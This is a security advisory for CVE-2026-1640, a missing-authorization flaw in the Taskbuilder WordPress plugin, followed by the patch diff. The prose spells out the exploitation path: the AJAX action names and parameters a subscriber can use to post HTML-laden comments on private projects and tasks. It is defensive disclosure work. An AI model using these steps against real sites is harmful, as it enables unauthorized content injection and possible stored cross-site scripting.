Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1640: Taskbuilder <= 5.0.2 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Project/Task Comment Creation (taskbuilder)

CVE ID CVE-2026-1640
Plugin taskbuilder
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.0.2
Patched Version 5.0.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1640:
The vulnerability is a missing authorization flaw in the Taskbuilder WordPress plugin versions up to and including 5.0.2. The flaw affects the project and task comment submission AJAX handlers, allowing authenticated users with subscriber-level permissions or higher to create comments on any project or task, including private ones they cannot view or are not assigned to. The vulnerability also permits HTML and CSS injection via insufficiently sanitized input. The CVSS score of 4.3 indicates a medium severity issue.

Atomic Edge research identifies the root cause as missing capability checks in two AJAX handler files. The file `taskbuilder/includes/admin/projects/open_project/wppm_submit_project_comment.php` lacked a permission check before processing comment submissions. The file `taskbuilder/includes/admin/tasks/open_task/wppm_submit_task_comment.php` also lacked a proper permission check. Both files accepted the `proj_id` and `task_id` parameters respectively from user input without verifying if the current user had the `add_proj_comment` or `add_task_comment` permission for the specified object. The initial check in these files only verified a nonce, not user capabilities.

The exploitation method involves an authenticated attacker with subscriber-level access sending a POST request to the WordPress admin-ajax.php endpoint. The attacker sets the `action` parameter to either `wppm_submit_proj_comment` or `wppm_submit_task_comment`. They supply a target `proj_id` or `task_id` for a project or task they should not have access to. The `comment_body` parameter can contain arbitrary HTML and CSS, as the plugin’s `wp_kses` function uses a permissive `$allowed_tags` array that includes `style` attributes and `div` tags. The attacker can also include attachments via the `wppm_proj_comment_attachment` or `wppm_comment_attachment` parameters.

The patch adds authorization checks in both vulnerable files. In `wppm_submit_project_comment.php`, the patch inserts a call to `$wppmfunction->has_project_permission(‘add_proj_comment’,$proj_id)` after retrieving the project ID. It also adds a project existence check. In `wppm_submit_task_comment.php`, the patch adds a call to `$wppmfunction->has_permission(‘add_task_comment’,$task_id)`. The patch also modifies the sanitization logic, removing the `htmlspecialchars_decode` call before `wp_kses`, which tightens input filtering. Additional changes in the diff relate to UI features for displaying project/task duration and are not security-relevant.

Successful exploitation allows an attacker to post comments on any project or task within the WordPress installation. This violates project and task confidentiality boundaries, as private projects can be commented on by unauthorized users. The injected HTML and CSS can deface the comment section, potentially leading to stored cross-site scripting if the allowed tags are not properly escaped on output. The attack could also be used for harassment, spam, or social engineering within the project management system.

Differential between vulnerable and patched code

Code Diff 
--- a/taskbuilder/includes/admin/projects/open_project/wppm_submit_project_comment.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_submit_project_comment.php
@@ -7,10 +7,17 @@
   wp_send_json_error( 'Unauthorised request!', 401 );
 }
 $proj_id  = isset($_POST['proj_id']) ? intval(sanitize_text_field($_POST['proj_id'])) : '' ;
+if(!$wppmfunction->has_project_permission('add_proj_comment',$proj_id)){
+  wp_send_json_error( 'Unauthorised request!', 403 );
+}
 $cu_id = $current_user->ID;
+$project_data = $wppmfunction->get_project($proj_id);
+if (empty($project_data)) {
+    wp_send_json_error( 'Project not found', 404 );
+}
 $comment  = isset($_POST['comment_body']) ? ($_POST['comment_body']) : '' ;
 $allowed_tags = array( 'br' => array(), 'abbr' => array('title' => array(),), 'p' => array(), 'strong' => array(), 'a' => array('href' => array(), 'title' => array(), 'rel'=> array(), 'target'=> array()),'em' =>array(),'span' =>array(), 'blockquote'=>array('cite'  => array(),),'div' => array('class' => array(),'title' => array(),'style' => array(),),'ul'=>array(),'li'=>array(),'ol'=>array(),'img' => array( 'alt'=> array(),'class' => array(),'height' => array(),'src'=> array(),'width'=> array(),));
-$comment_body = wp_kses(htmlspecialchars_decode($comment, ENT_QUOTES),$allowed_tags);
+$comment_body = wp_kses($comment,$allowed_tags);
 $attachments = !empty($_POST['wppm_proj_comment_attachment']) ? $wppmfunction->sanitize_array($_POST['wppm_proj_comment_attachment']) : [];
 $attachment_ids = implode(",",$attachments);
 if($comment_body=="" && $attachment_ids=="") exit;
--- a/taskbuilder/includes/admin/projects/open_project/wppm_view_project_tasks.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_view_project_tasks.php
@@ -21,6 +21,7 @@
 $wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
 $wppm_hide_completed_status_task = get_option('wppm_hide_completed_status_task');
 $wppm_hide_task_statuses_from_frontend = get_option('wppm_hide_task_statuses_from_frontend');
+$wppm_deafault_time_duration_task = get_option('wppm_display_time_duration_task');
 if(!empty($wppm_hide_task_statuses_from_frontend)){
   $wppm_hide_task_statuses_from_frontend = explode(",",$wppm_hide_task_statuses_from_frontend);
 } else {
@@ -345,6 +346,7 @@
 						foreach($wppm_task_fillter as $key=>$tasks){
 							foreach($tasks as $task){
 								$total_tasks++;
+								$wppm_task_duration = $wppmfunction->wppm_get_duration($task->start_date,$task->end_date);
 								if((!empty($task)) && $task->status==$status->id){
 									$task_per_status = true;
 									if(isset($task->priority)){
@@ -426,10 +428,17 @@
 												</div>
 											</div>
 											<div>
-												<div class="wppm_task_due_date_grid_view" style="margin-left: 5px;">
-												<?php $style = ($task->status!=4 && $task->end_date < $current_date) ? "color:#FF0000":"color:#2C3E50"; ?>
-													<small style="<?php echo esc_attr($style); ?>"><?php echo (isset($task_end_date))? esc_html_e($task_end_date,'taskbuilder') :"" ?></small>
-												</div>
+												<?php if($wppm_deafault_time_duration_task==0) { ?>
+													<div class="wppm_task_due_date_grid_view" style="margin-left: 5px;">
+													<?php $style = ($task->status!=4 && $task->end_date < $current_date) ? "color:#FF0000":"color:#2C3E50"; ?>
+														<small style="<?php echo esc_attr($style); ?>"><?php echo (isset($task_end_date))? esc_html_e($task_end_date,'taskbuilder') :"" ?></small>
+													</div>
+												<?php }elseif( $wppm_deafault_time_duration_task==1){ ?>
+													<div class="wppm_task_due_date_grid_view" style="margin-left: 5px;">
+													<?php $style = ($task->status!=4 && $task->end_date < $current_date) ? "color:#FF0000":"color:#2C3E50"; ?>
+														<small style="<?php echo esc_attr($style); ?>"><?php echo (isset($wppm_task_duration))? esc_html_e($wppm_task_duration,'taskbuilder') :"" ?></small>
+													</div>
+												<?php } ?>
 												<div class="wppm_card_task_users" style="text-align:right;">
 													<?php
 													$task_users = explode(',',$task->users);
--- a/taskbuilder/includes/admin/projects/projects_list.php
+++ b/taskbuilder/includes/admin/projects/projects_list.php
@@ -7,6 +7,7 @@
 $categories = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wppm_project_categories" );
 $appearance_settings = get_option("wppm-ap-project-list");
 $wppm_date_setting = get_option('wppm_date_setting');
+$wppm_deafault_time_duration_project = get_option('wppm_display_time_duration_project');
 $wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
 $proj_per_page = 20;
 $page_no = (isset($_POST['page_no'])) ? intval(sanitize_text_field($_POST['page_no'])): '0';
@@ -51,21 +52,24 @@
   'filter'=>$filter_by
 );
 setcookie('wppm_proj_filters',wp_json_encode( $filters ),time() + 3600);
-if($pl_filters_arr['sort_by']=='status'){
-  $sort_by = 'proj_statuses.name';
-}
-if($pl_filters_arr['sort_by']=='category'){
-  $sort_by = 'proj_categories.name';
-}
-if($pl_filters_arr['sort_by']=='start_date'){
-  $sort_by = 'start_date';
-}
-if($pl_filters_arr['sort_by']=='end_date'){
-  $sort_by = 'end_date';
-}
-if($sort_by=='category'){
-  $sort_by = 'proj_categories.name';
-}
+
+$allowed_sort_by = [
+    'project_name' => 'project_name',
+    'status'       => 'proj_statuses.name',
+    'category'     => 'proj_categories.name',
+    'start_date'   => 'start_date',
+    'end_date'     => 'end_date',
+    'TIMESTAMPDIFF(SECOND, start_date, end_date)'=> 'TIMESTAMPDIFF(SECOND, start_date, end_date)'
+];
+// Resolve sort_by safely
+$sort_key = isset($pl_filters_arr['sort_by'])
+    ? sanitize_text_field($pl_filters_arr['sort_by'])
+    : 'project_name';
+
+$sort_by = $allowed_sort_by[$sort_key] ?? 'project_name';
+$order = ( isset($pl_filters_arr['order']) && strtoupper($pl_filters_arr['order']) === 'ASC' )
+    ? 'ASC'
+    : 'DESC';
 if($filter_by=='all'){
   if($wppm_hide_completed_status_proj == 0){
      $wppm_pl_filter = "status!='4'";
@@ -133,8 +137,6 @@
 $no_of_rows = ( "SELECT count(*) FROM ($query");
 $no_of_rows = apply_filters('wppm_project_list_no_of_rows',$no_of_rows,$wppm_pl_filter,$search_tag);
 $where = apply_filters('wppm_project_list_query_where',$where, $wppm_pl_filter,$search_tag);
-$sort_by = esc_sql($sort_by);
-$order = esc_sql($order);
 $query .= $where." Group by Project.id ORDER BY $sort_by $order";
 $no_of_rows .= $where." Group by Project.id) AS Project";
 $totalrows = $wpdb->get_var( $no_of_rows );
@@ -246,7 +248,7 @@
               <img width="16" height="16" onclick="wppm_sort_up_project_list('category','ASC')" style = "<?php echo ($sort_by == 'proj_categories.name' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_up_project_cat_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
               <img width="16" height="16" onclick="wppm_sort_up_project_list('category','DESC')" style = "<?php echo ($sort_by == 'proj_categories.name' && $order == 'ASC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_down_project_cat_img" class="wppm_chevron_img"  src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
             </th>
-            <?php if($wppm_default_project_date==1){ ?>
+            <?php if($wppm_default_project_date==1 && $wppm_deafault_time_duration_project==0){ ?>
                     <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>">
                       <span id="wppm_project_start_date_th" style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('Start Date','taskbuilder'); ?></span>
                       <img width="16" height="16" onclick="wppm_sort_up_project_list('start_date','ASC')" style = "<?php echo ($sort_by == 'start_date' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_up_project_start_date_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
@@ -257,7 +259,14 @@
                       <img width="16" height="16" onclick="wppm_sort_up_project_list('end_date','ASC')" style = "<?php echo ($sort_by == 'end_date' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_up_project_end_date_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
                       <img width="16" height="16" onclick="wppm_sort_up_project_list('end_date','DESC')" style = "<?php echo ($sort_by == 'end_date' && $order == 'ASC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_down_project_end_date_img" class="wppm_chevron_img"  src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
                     </th>
-            <?php } ?>
+            <?php }
+            if( $wppm_deafault_time_duration_project==1){ ?>
+                  <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>">
+                    <span id="wppm_project_time_duration_th" style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('Duration','taskbuilder'); ?></span>
+                    <img width="16" height="16" onclick="wppm_sort_up_project_list('TIMESTAMPDIFF(SECOND, start_date, end_date)','ASC')" style = "<?php echo ($sort_by == 'TIMESTAMPDIFF(SECOND, start_date, end_date)' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_up_project_time_duration_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
+                    <img width="16" height="16" onclick="wppm_sort_up_project_list('TIMESTAMPDIFF(SECOND, start_date, end_date)','DESC')" style = "<?php echo ($sort_by == 'TIMESTAMPDIFF(SECOND, start_date, end_date)' && $order == 'ASC') ? 'display:inline': 'display:none;'?>" class="wppm_chevron_img" id="wppm_chevron_sort_down_project_time_duration_img" class="wppm_chevron_img"  src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
+                  </th>
+          <?php }?>
             <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>"><span style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('No. of tasks','taskbuilder'); ?></span></th>
             <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>"></th>
           </tr>
@@ -269,6 +278,7 @@
             foreach( $wppm_fillter as $project ){
                 $total_projects++;
                 $proejctdata = $wppmfunction->get_project($project->id);
+                $wppm_proj_duration = $wppmfunction->wppm_get_duration($project->start_date,$project->end_date);
                 $pstatus= esc_sql($project->status);
                 $status = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wppm_project_statuses where id='$pstatus'" );
                 $users = explode(",",$project->users);
@@ -419,8 +429,7 @@
                       <?php } ?>
                     </td>
                     <td onmouseover="link=true;" class="wppm_table_td"><?php echo isset($category) ? esc_html_e($category,'taskbuilder'): "" ?></td>
-                    <?php if($wppm_default_project_date==1){
-                            ?>
+                    <?php if($wppm_default_project_date==1 && $wppm_deafault_time_duration_project==0){ ?>
                             <td onmouseover="link=true;" class="wppm_table_td"><?php echo isset($proj_start_date) ? esc_html($proj_start_date): "" ?></td>
                             <?php
                             if(!empty($proj_end_date) && $project->status!=4 && $proj_end_date < $current_date && ($proj_end_date != '0000-00-00 00:00:00' && $proj_end_date != '00-00-0000 00:00:00' && $proj_end_date != '00-00-0000' && $proj_end_date != '0000-00-00')) {
@@ -430,6 +439,15 @@
                             } ?>
                             <td onmouseover="link=true;" class="wppm_table_td"><span style="<?php echo esc_attr($style); ?>"><?php echo isset($proj_end_date) ? esc_html($proj_end_date):"" ?></span></td>
                     <?php } ?>
+                     <?php if($wppm_deafault_time_duration_project==1){ ?>
+                            <?php
+                            if(!empty($proj_end_date) && $project->status!=4 && $proj_end_date < $current_date && ($proj_end_date != '0000-00-00 00:00:00' && $proj_end_date != '00-00-0000 00:00:00' && $proj_end_date != '00-00-0000' && $proj_end_date != '0000-00-00')) {
+                              $style = "color:#FF0000";
+                            } else {
+                              $style = "color:#2C3E50";
+                            } ?>
+                            <td onmouseover="link=true;" class="wppm_table_td"><span style="<?php echo esc_attr($style); ?>"><?php echo isset($wppm_proj_duration) ? esc_html($wppm_proj_duration):"" ?></span></td>
+                    <?php } ?>
                     <td onmouseover="link=true;" class="wppm_table_td"><?php echo isset($no_of_tasks) ? esc_html($no_of_tasks):"" ?></td>
                     <td onmouseover="link=true;" class="wppm_delete_action">
                       <?php $style = (($current_user->ID && $current_user->has_cap('manage_options')) || ($wppmfunction->has_project_permission('delete_project',esc_attr($project->id))) || $wppm_current_user_capability == 'wppm_admin' || ($proejctdata['created_by']==$current_user->ID && $wppm_current_user_capability == 'wppm_manager') )? "display:inline":"display:none"; ?>
@@ -523,6 +541,10 @@
       jQuery('#wppm_chevron_sort_up_project_end_date_img').show();
       jQuery('#wppm_chevron_sort_down_project_end_date_img').hide();
     });
+     jQuery("#wppm_project_time_duration_th").hover(function(){
+      jQuery('#wppm_chevron_sort_up_project_time_duration_img').show();
+      jQuery('#wppm_chevron_sort_down_project_time_duration_img').hide();
+    });
     jQuery(".wppm_delete_action").on("click", function(e){
       e.preventDefault();
       return false;
--- a/taskbuilder/includes/admin/projects/wppm_open_project.php
+++ b/taskbuilder/includes/admin/projects/wppm_open_project.php
@@ -14,6 +14,7 @@
 $wppm_date_setting = get_option('wppm_date_setting');
 $wppm_proj_hide_comment_section = get_option('wppm_proj_hide_comment_section');
 $wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
+$wppm_deafault_time_duration_project = get_option('wppm_display_time_duration_project');
 $current_date = date('Y-m-d');
 $id = isset($_POST) && isset($_POST['id']) ? intval(sanitize_text_field($_POST['id'])) : 0;
 if (!isset($id)) {exit;}
@@ -198,7 +199,7 @@
                 <span class="wppm_project_details"><?php echo isset($proj_create_date) ? esc_html($proj_create_date):"" ?></span>
               </div>
             </div>
-            <?php if($wppm_default_project_date==1) { ?>
+            <?php if($wppm_default_project_date==1 && $wppm_deafault_time_duration_project==0) { ?>
                     <div class="row">
                       <div class="col-sm-3">
                         <span class="wppm_project_details_label"><?php echo esc_html_e('Start Date:','taskbuilder');?></span>
@@ -220,7 +221,19 @@
                       </div>
                       <input type="hidden" name="wppm_edit_pend_date_ajax_nonce" id="wppm_edit_pend_date_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_change_proj_end_date' ) ); ?>">
                     </div>
-            <?php } ?>
+            <?php } if($wppm_deafault_time_duration_project==1){
+                      $wppm_proj_duration = $wppmfunction->wppm_get_duration($project->start_date,$project->end_date);
+                      $pstatus = isset($project->status) ? $project->status :"";
+                      $style = (!empty($proj_end_date) && $pstatus!=4 && $proj_end_date < $current_date && ($proj_end_date != '0000-00-00 00:00:00' && $proj_end_date != '00-00-0000 00:00:00' && $proj_end_date != '00-00-0000' && $proj_end_date != '0000-00-00')) ? "color:#FF0000":"color:#2C3E50"; ?>
+                    <div class="row">
+                      <div class="col-sm-3">
+                        <span class="wppm_project_details_label"><?php echo esc_html_e('Project Duration:','taskbuilder');?></span>
+                      </div>
+                      <div class="col-sm-9">
+                        <span class="wppm_project_details"  id="wppm_edit_proj_duration" style="<?php echo esc_attr($style); ?>"><?php echo (isset($wppm_proj_duration))? esc_html($wppm_proj_duration): "" ?></span>
+                      </div>
+                    </div> <?php
+            }?>
             <div class="row">
               <div class="col-sm-3">
                 <span class="wppm_project_details_label"><?php echo esc_html_e('Project Category:','taskbuilder');?></span>
--- a/taskbuilder/includes/admin/settings/wppm_get_general_settings.php
+++ b/taskbuilder/includes/admin/settings/wppm_get_general_settings.php
@@ -25,6 +25,8 @@
 $wppm_hide_completed_status_task = get_option('wppm_hide_completed_status_task');
 $wppm_proj_hide_comment_section = get_option('wppm_proj_hide_comment_section');
 $wppm_task_hide_comment_section = get_option('wppm_task_hide_comment_section');
+$wppm_deafault_time_duration_project = get_option('wppm_display_time_duration_project');
+$wppm_deafault_time_duration_task = get_option('wppm_display_time_duration_task');
 ?>
 <form id="wppm_frm_general_settings" method="post" action="javascript:wppm_set_general_settings();">
     <div class="wppm-help-container">
@@ -41,6 +43,26 @@
     <span style="padding-left: 10px;"><?php echo esc_html_e('Card View','taskbuilder');?></span>
     <hr>
     <span>
+      <label><?php echo esc_html_e('Show project duration instead of start and end dates in the project list.','taskbuilder');?></label>
+    </span><br>
+    <p class="help-block"><?php echo esc_html_e('Default show/hide time duration of project.','taskbuilder');?></p>
+    <input type="radio" name="wppm_display_time_duration_project" style="margin-top: 0px;" value="1" <?php echo ((esc_attr($wppm_deafault_time_duration_project))==1) ?'checked="checked"':'';?>>
+    <span style="padding-left: 10px;"><?php echo esc_html_e('Show','taskbuilder');?></span>
+    <br>
+    <input type="radio" name="wppm_display_time_duration_project" value="0" <?php echo ((esc_attr($wppm_deafault_time_duration_project))==0)?'checked="checked"':'';?>>
+    <span style="padding-left: 10px;"><?php echo esc_html_e('Hide','taskbuilder');?></span>
+    <hr>
+     <span>
+      <label><?php echo esc_html_e('Show task duration instead of start and end dates in the task list.','taskbuilder');?></label>
+    </span><br>
+    <p class="help-block"><?php echo esc_html_e('Default show/hide time duration of task.','taskbuilder');?></p>
+    <input type="radio" name="wppm_display_time_duration_task" style="margin-top: 0px;" value="1" <?php echo ((esc_attr($wppm_deafault_time_duration_task))==1) ?'checked="checked"':'';?>>
+    <span style="padding-left: 10px;"><?php echo esc_html_e('Show','taskbuilder');?></span>
+    <br>
+    <input type="radio" name="wppm_display_time_duration_task" value="0" <?php echo ((esc_attr($wppm_deafault_time_duration_task))==0)?'checked="checked"':'';?>>
+    <span style="padding-left: 10px;"><?php echo esc_html_e('Hide','taskbuilder');?></span>
+    <hr>
+    <span>
       <label><?php echo esc_html_e('Time in project start date and end date','taskbuilder');?></label>
     </span><br>
     <p class="help-block"><?php echo esc_html_e('Default show/hide time in start and end date of project.','taskbuilder');?></p>
--- a/taskbuilder/includes/admin/settings/wppm_set_general_settings.php
+++ b/taskbuilder/includes/admin/settings/wppm_set_general_settings.php
@@ -12,6 +12,10 @@
 }
 $wppm_task_list_view = isset($_POST) && isset(($_POST['wppm_task_list_view'])) ? sanitize_text_field($_POST['wppm_task_list_view']) : '';
 update_option('wppm_default_task_list_view',$wppm_task_list_view);
+$wppm_display_time_duration_project = isset($_POST) && isset(($_POST['wppm_display_time_duration_project'])) ? sanitize_text_field($_POST['wppm_display_time_duration_project']) : '0';
+update_option('wppm_display_time_duration_project',$wppm_display_time_duration_project);
+$wppm_display_time_duration_task = isset($_POST) && isset(($_POST['wppm_display_time_duration_task'])) ? sanitize_text_field($_POST['wppm_display_time_duration_task']) : '0';
+update_option('wppm_display_time_duration_task',$wppm_display_time_duration_task);
 $wppm_project_time = isset($_POST) && isset(($_POST['wppm_project_time'])) ? sanitize_text_field($_POST['wppm_project_time']) : '1';
 update_option('wppm_project_time',$wppm_project_time);
 $wppm_default_project_date = isset($_POST) && isset(($_POST['wppm_default_project_date'])) ? sanitize_text_field($_POST['wppm_default_project_date']) : '1';
--- a/taskbuilder/includes/admin/tasks/open_task/wppm_open_task.php
+++ b/taskbuilder/includes/admin/tasks/open_task/wppm_open_task.php
@@ -15,6 +15,7 @@
 $wppm_toolbar_actions = get_option('wppm_toolbar_actions');
 $wppm_date_setting = get_option('wppm_date_setting');
 $wppm_task_hide_comment_section = get_option('wppm_task_hide_comment_section');
+$wppm_deafault_time_duration_task = get_option('wppm_display_time_duration_task');
 $url_auth = false;
 $auth_id = $wppmfunction->wppm_get_auth_code($id);
 $auth_id = sanitize_text_field($auth_id);
@@ -277,7 +278,7 @@
             <span class="wppm_task_details"><?php echo (isset($task_create_date))? esc_html($task_create_date):"" ?></span>
           </div>
         </div>
-        <?php if($wppm_default_task_date == 1){ ?>
+        <?php if($wppm_default_task_date == 1 && $wppm_deafault_time_duration_task==0){ ?>
                 <div class="row">
                   <div class="col-sm-3">
                     <span class="wppm_task_details_label"><?php echo esc_html_e('Start Date:','taskbuilder');?></span>
@@ -297,7 +298,20 @@
                   </div>
                   <input type="hidden" name="wppm_edit_tend_date_ajax_nonce" id="wppm_edit_tend_date_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_change_task_end_date' ) ); ?>">
                 </div>
-        <?php } ?>
+        <?php }
+         if($wppm_deafault_time_duration_task==1){
+                $wppm_task_duration = $wppmfunction->wppm_get_duration($task->start_date,$task->end_date);
+                $tstatus = isset($task->status) ? $task->status :"";
+                $style = (!empty($task->end_date) && $tstatus!=4 && $task->end_date < $current_date && ($task->end_date != '0000-00-00 00:00:00' && $task->end_date != '00-00-0000 00:00:00' && $task->end_date != '00-00-0000' && $task->end_date != '0000-00-00')) ? "color:#FF1111":"color:#2C3E51"; ?>
+                <div class="row">
+                  <div class="col-sm-3">
+                    <span class="wppm_task_details_label"><?php echo esc_html_e('Task Duration:','taskbuilder');?></span>
+                  </div>
+                  <div class="col-sm-9">
+                    <span class="wppm_task_details"  id="wppm_edit_task_duration" style="<?php echo esc_attr($style); ?>"><?php echo (isset($wppm_task_duration))? esc_html($wppm_task_duration): "" ?></span>
+                  </div>
+                </div> <?php
+        }?>
         <div class="row">
           <div class="col-sm-3">
             <span class="wppm_task_details_label"><?php echo esc_html_e('Task Priority:','taskbuilder');?></span>
--- a/taskbuilder/includes/admin/tasks/open_task/wppm_submit_task_comment.php
+++ b/taskbuilder/includes/admin/tasks/open_task/wppm_submit_task_comment.php
@@ -7,9 +7,10 @@
 	wp_send_json_error( 'Unauthorised request!', 401 );
 }
 $task_id  = isset($_POST['task_id']) ? intval(sanitize_text_field($_POST['task_id'])) : '' ;
+if(!$wppmfunction->has_permission('add_task_comment',$task_id)){ exit; }
 $comment  = isset($_POST['comment_body']) ? ($_POST['comment_body']) : '' ;
 $allowed_tags = array( 'br' => array(), 'abbr' => array('title' => array(),), 'p' => array(), 'strong' => array(), 'a' => array('href' => array(), 'title' => array(), 'rel'=> array(), 'target'=> array()),'em' =>array(),'span' =>array(), 'blockquote'=>array('cite'  => array(),),'div' => array('class' => array(),'title' => array(),'style' => array(),),'ul'=>array(),'li'=>array(),'ol'=>array(),'img' => array( 'alt'=> array(),'class' => array(),'height' => array(),'src'=> array(),'width'=> array(),));
-$comment_body = wp_kses(htmlspecialchars_decode($comment, ENT_QUOTES),$allowed_tags);
+$comment_body = wp_kses($comment,$allowed_tags);
 $attachments = !empty($_POST['wppm_comment_attachment']) ? $wppmfunction->sanitize_array($_POST['wppm_comment_attachment']) : [];
 $attachment_ids = implode(",",$attachments);
 if($comment_body=="" && $attachment_ids=="") exit;
@@ -28,5 +29,4 @@
 $comment_id = $wppmfunction->wppm_submit_task_comment($args);
 $task_log_values = array('task_id'=>esc_sql($task_id),'comment_id'=>esc_sql($comment_id),'comment_type'=>'comment');
 $wpdb->insert($wpdb->prefix . 'wppm_task_comment_meta',$task_log_values);
-do_action('wppm_after_submit_task_comment', $task_id,$comment_id);
-
+do_action('wppm_after_submit_task_comment', $task_id,$comment_id);
 No newline at end of file
--- a/taskbuilder/includes/admin/tasks/wppm_tasks_list.php
+++ b/taskbuilder/includes/admin/tasks/wppm_tasks_list.php
@@ -19,6 +19,7 @@
 $wppm_date_setting = get_option('wppm_date_setting');
 $wppm_hide_completed_status_task = get_option('wppm_hide_completed_status_task');
 $wppm_hide_task_statuses_from_frontend = get_option('wppm_hide_task_statuses_from_frontend');
+$wppm_deafault_time_duration_task = get_option('wppm_display_time_duration_task');
 if(!empty($wppm_hide_task_statuses_from_frontend)){
   $wppm_hide_task_statuses_from_frontend = explode(",",$wppm_hide_task_statuses_from_frontend);
 } else {
@@ -100,21 +101,28 @@
 );
 setcookie('wppm_filters',wp_json_encode( $filters ),time() + 3600);

-if($tl_filters_arr['sort_by']=='project'){
-  $sort_by = 'proj.project_name';
-}
-if($tl_filters_arr['sort_by']=='start_date'){
-  $sort_by = 'Task.start_date';
-}
-if($tl_filters_arr['sort_by']=='end_date'){
-  $sort_by = 'Task.end_date';
-}
-if($tl_filters_arr['sort_by']=='status'){
-  $sort_by = 'task_statuses.name';
-}
-if($tl_filters_arr['sort_by']=='priority'){
-  $sort_by='task_priorities.name';
-}
+// Allowed sort columns
+$allowed_sort_by = [
+    'project'       => 'proj.project_name',
+    'status'        => 'task_statuses.name',
+    'priority'      => 'task_priorities.name',
+    'start_date'    => 'Task.start_date',
+    'end_date'      => 'Task.end_date',
+    'TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)' => 'TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)',
+];
+
+// Resolve sort_by safely
+$sort_key = isset($_POST['sort_by'])
+    ? sanitize_text_field($_POST['sort_by'])
+    : ($tl_filters_arr['sort_by'] ?? 'task_name');
+
+$sort_by = $allowed_sort_by[$sort_key] ?? 'task_name';
+
+// Resolve order safely
+$order = (isset($_POST['order']) && strtoupper($_POST['order']) === 'ASC')
+    ? 'ASC'
+    : 'DESC';
+
 if($filter_by=='all'){
   if($wppm_hide_completed_status_task == 0){
      $wppm_tl_filter = "Task.status!='4'";
@@ -227,8 +235,6 @@
 $no_of_rows .= $no_of_rows_where;
 $no_of_rows = apply_filters('wppm_task_list_no_of_rows',$no_of_rows,$wppm_tl_filter,$search_tag_text);
 $totalrows = $wpdb->get_var($no_of_rows);
-$sort_by = esc_sql($sort_by);
-$order = esc_sql($order);
 $query .= $where." Group by Task.id ORDER BY ".$sort_by." ".$order."";
 $query = apply_filters('wppm_task_list_query',$query);
 $limit_start=$page_no*$task_per_page;
@@ -398,7 +404,7 @@
               <img width="16" height="16" style = "<?php echo ($sort_by == ('task_priorities.name') && $order == 'DESC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('priority','ASC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_up_priority_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
               <img width="16" height="16" style = "<?php echo ($sort_by == ('task_priorities.name') && $order == 'ASC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('priority','DESC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_down_priority_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
             </th>
-            <?php if($wppm_default_task_date == 1) { ?>
+            <?php if($wppm_default_task_date == 1 && $wppm_deafault_time_duration_task==0) { ?>
                     <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>">
                       <span id="wppm_start_date_th" style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('Start date','taskbuilder'); ?></span>
